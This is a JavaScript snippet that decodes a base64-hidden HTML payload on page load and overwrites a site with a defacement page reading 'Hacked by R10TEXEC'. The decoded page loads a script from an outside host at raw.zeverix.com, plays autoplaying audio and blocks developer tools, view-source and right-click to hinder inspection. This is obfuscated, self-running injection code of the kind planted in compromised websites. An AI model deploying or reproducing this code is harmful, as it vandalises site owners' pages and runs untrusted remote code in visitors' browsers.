document.addEventListener('DOMContentLoaded', function() { let base64HTML = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImlkIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+SGFja2VkIGJ5IFIxMFRFWEVDPC90aXRsZT4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3Jhdy56ZXZlcml4LmNvbS9yYXcvZGVmYWNlLTc1NSI+PC9zY3JpcHQ+CiAgICA8c3R5bGU+CiAgICAgICAgQGltcG9ydCB1cmwoJ2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9T3JiaXRyb246d2dodEA0MDA7NzAwJmRpc3BsYXk9c3dhcCcpOwoKICAgICAgICBib2R5IHsKICAgICAgICAgICAgYmFja2dyb3VuZDogdXJsKCdodHRwczovL3d3dy5rYWxpLm9yZy93YWxscGFwZXJzL2ltYWdlcy8yMDIwLjQva2FsaS1jb250b3Vycy5wbmcnKSBuby1yZXBlYXQgY2VudGVyIGNlbnRlciBmaXhlZDsKICAgICAgICAgICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsgLyogTWVtYnVhdCBnYW1iYXIgbWVudXR1cGkgc2VsdXJ1aCBsYXlhciAqLwogICAgICAgICAgICBjb2xvcjogIzAwZmYwMDsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdPcmJpdHJvbicsIHNhbnMtc2VyaWY7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICBmb250LXNpemU6IDNlbTsKICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDEwJTsKICAgICAgICAgICAgbGVmdDogNTAlOwogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsKICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggcmVkLCAtMnB4IC0ycHggYmx1ZTsKICAgICAgICAgICAgYW5pbWF0aW9uOiBnbGl0Y2ggMXMgaW5maW5pdGUgYWx0ZXJuYXRlOwogICAgICAgIH0KCiAgICAgICAgcCB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMWVtOwogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMTAlOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogICAgICAgICAgICBwYWRkaW5nLXRvcDogMTAxMHB4OwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgfQogICAgICAgIEBrZXlmcmFtZXMgZ2xpdGNoIHsKICAgICAgICAgICAgMCUgeyB0ZXh0LXNoYWRvdzogMnB4IDJweCByZWQsIC0ycHggLTJweCBibHVlOyB9CiAgICAgICAgICAgIDEwMCUgeyB0ZXh0LXNoYWRvdzogLTJweCAtMnB4IHJlZCwgMnB4IDJweCBibHVlOyB9CiAgICAgICAgfQoKICAgICAgICAgICAgI21hc2sgewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMzclOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogICAgICAgICAgICB3aWR0aDogMzYxcHg7CiAgICAgICAgICAgIG9wYWNpdHk6IDAuOTsKICAgICAgICAgICAgYW5pbWF0aW9uOiBmbG9hdGluZyA0cyBpbmZpbml0ZSBlYXNlLWluLW91dDsKICAgICAgICAgICAgfQoKICAgICAgICBAa2V5ZnJhbWVzIGZsb2F0aW5nIHsKICAgICAgICAgICAgMCUsIDEwMCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGVZKDApOyB9CiAgICAgICAgICAgIDUwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpIHRyYW5zbGF0ZVkoMjBweCk7IH0KICAgICAgICB9CgogICAgICAgIGNhbnZhcyB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgdG9wOiAwOwogICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICB6LWluZGV4OiAtMTsKICAgICAgICB9CgogICAgICAgIGF1ZGlvIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgoKICAgIDxoMT5IYWNrZWQgYnkgUjEwVEVYRUM8L2gxPgogICAgPGltZyBpZD0ibWFzayIgc3JjPSJodHRwczovL3d3dy56ZXZlcml4LmNvbS9pbmRvLnBuZyIgYWx0PSJIYWNrZXIgTWFzayI+CiAgICA8cD5JbiBhIHdvcmxkIGZ1bGwgb2YgY29kZXMgYW5kIHN5c3RlbXMsIEkgYWx3YXlzIHByaW9yaXRpemUgbXkgZmFtaWx5LiBBIGhhY2tlciBpbiB0aGUgZGlnaXRhbCByZWFsbSwgYnV0IGEgZmF0aGVyIGluIHRoZSByZWFsIHdvcmxkLiBGYW1pbHkgaXMgdGhlIG1vc3QgaW1wb3J0YW50IGNvZGUgSSBtdXN0IHByb3RlY3QuPC9wPgogICAgPGNhbnZhcyBpZD0ibWF0cml4Q2FudmFzIj48L2NhbnZhcz4KICAgIDxhdWRpbyBpZD0iYmdNdXNpYyIgbG9vcCBhdXRvcGxheT4KICAgICAgICA8c291cmNlIHNyYz0iaHR0cHM6Ly93d3cuemV2ZXJpeC5jb20vaGFja2VyLm1wMyIgdHlwZT0iYXVkaW8vbXBlZyI+CiAgICAgICAgWW91ciBicm93c2VyIGRvZXMgbm90IHN1cHBvcnQgdGhlIGF1ZGlvIGVsZW1lbnQuCiAgICA8L2F1ZGlvPgoKICAgIDxzY3JpcHQ+CiAgICAgICAgY29uc3QgY2FudmFzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm1hdHJpeENhbnZhcyIpOwogICAgICAgIGNvbnN0IGN0eCA9IGNhbnZhcy5nZXRDb250ZXh0KCIyZCIpOwogICAgICAgIGNhbnZhcy53aWR0aCA9IHdpbmRvdy5pbm5lcldpZHRoOwogICAgICAgIGNhbnZhcy5oZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQ7CgogICAgICAgIGNvbnN0IGNoYXJhY3RlcnMgPSAiMDFAIyQlQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOwogICAgICAgIGNvbnN0IGZvbnRTaXplID0gMTQ7CiAgICAgICAgY29uc3QgY29sdW1ucyA9IE1hdGguZmxvb3IoY2FudmFzLndpZHRoIC8gZm9udFNpemUpOwogICAgICAgIGNvbnN0IGRyb3BzID0gQXJyYXkoY29sdW1ucykuZmlsbCgxKTsKCiAgICAgICAgZnVuY3Rpb24gZHJhd01hdHJpeCgpIHsKICAgICAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICJyZ2JhKDAsIDAsIDAsIDAuMikiOwogICAgICAgICAgICBjdHguZmlsbFJlY3QoMCwgMCwgY2FudmFzLndpZHRoLCBjYW52YXMuaGVpZ2h0KTsKCiAgICAgICAgICAgIGN0eC5maWxsU3R5bGUgPSAiIzAwZmYwMCI7CiAgICAgICAgICAgIGN0eC5mb250ID0gZm9udFNpemUgKyAicHggbW9ub3NwYWNlIjsKCiAgICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgZHJvcHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgICAgIGNvbnN0IHRleHQgPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzLmxlbmd0aCkpOwogICAgICAgICAgICAgICAgY3R4LmZpbGxUZXh0KHRleHQsIGkgKiBmb250U2l6ZSwgZHJvcHNbaV0gKiBmb250U2l6ZSk7CgogICAgICAgICAgICAgICAgaWYgKGRyb3BzW2ldICogZm9udFNpemUgPiBjYW52YXMuaGVpZ2h0ICYmIE1hdGgucmFuZG9tKCkgPiAwLjk3NSkgewogICAgICAgICAgICAgICAgICAgIGRyb3BzW2ldID0gMDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBkcm9wc1tpXSsrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBzZXRJbnRlcnZhbChkcmF3TWF0cml4LCA1MCk7CgogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJyZXNpemUiLCAoKSA9PiB7CiAgICAgICAgICAgIGNhbnZhcy53aWR0aCA9IHdpbmRvdy5pbm5lcldpZHRoOwogICAgICAgICAgICBjYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0OwogICAgICAgIH0pOwoKICAgICAgICAvLyBBdXRvIFBsYXkgTXVzaWMKICAgICAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJiZ011c2ljIikucGxheSgpOwogICAgICAgIH0pOwogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0PgogICAgKGZ1bmN0aW9uKCkgewogICAgICAgIC8vIE1lbmNlZ2FoIEYxMiAoRGV2ZWxvcGVyIFRvb2xzKQogICAgICAgIGRvY3VtZW50Lm9ua2V5ZG93biA9IGZ1bmN0aW9uKGV2ZW50KSB7CiAgICAgICAgICAgIC8vIE1lbmNlZ2FoIEYxMgogICAgICAgICAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7IC8vIEYxMiBrZXkKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICBhbGVydCgiRjEyIGlzIGRpc2FibGVkISIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBNZW5jZWdhaCBDVFJMK1UgKHZpZXctc291cmNlKQogICAgICAgICAgICBpZiAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgeyAvLyBDdHJsK1UKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICBhbGVydCgiVmlldy1zb3VyY2UgaXMgZGlzYWJsZWQhIik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIE1lbmNlZ2FoIENUUkwrU0hJRlQrSSAoZGV2ZWxvcGVyIHRvb2xzKQogICAgICAgICAgICBpZiAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgeyAvLyBDdHJsK1NoaWZ0K0kKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICBhbGVydCgiRGV2ZWxvcGVyIFRvb2xzIGFyZSBkaXNhYmxlZCEiKTsKICAgICAgICAgICAgfQogICAgICAgIH07CgogICAgICAgIC8vIENlZ2FoIGtsaWsga2FuYW4gKFJpZ2h0IENsaWNrKQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgYWxlcnQoIlJpZ2h0LWNsaWNrIGlzIGRpc2FibGVkISIpOwogICAgICAgIH0pOwogICAgfSkoKTsKCiAgICA8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cg=="; let htmlContent = atob(base64HTML); // Ganti seluruh isi halaman dengan HTML dari Base64 document.open(); document.write(htmlContent); document.close(); });